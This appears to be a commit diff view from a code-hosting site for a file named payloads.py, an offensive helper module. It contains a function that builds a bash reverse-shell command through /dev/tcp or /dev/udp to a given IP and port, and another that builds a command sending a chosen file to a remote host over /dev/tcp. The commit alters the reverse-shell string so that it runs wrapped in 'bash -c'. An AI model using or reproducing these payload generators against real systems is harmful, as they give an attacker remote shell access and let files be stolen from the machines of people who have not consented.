Update payloads.py
parent
cc48c09d87
commit
ddfca75865
|
@ -1,7 +1,7 @@
|
||||||
class Shells:
|
class Shells:
|
||||||
class Rev:
|
class Rev:
|
||||||
def bash(ip,port,shell,protocol):
|
def bash(ip,port,shell,protocol):
|
||||||
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
|
return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\";"
|
||||||
class Exfil:
|
class Exfil:
|
||||||
def socket(ip,port,file):
|
def socket(ip,port,file):
|
||||||
return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
|
return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
|
||||||
|
@ -10,3 +10,4 @@ class Exfil:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue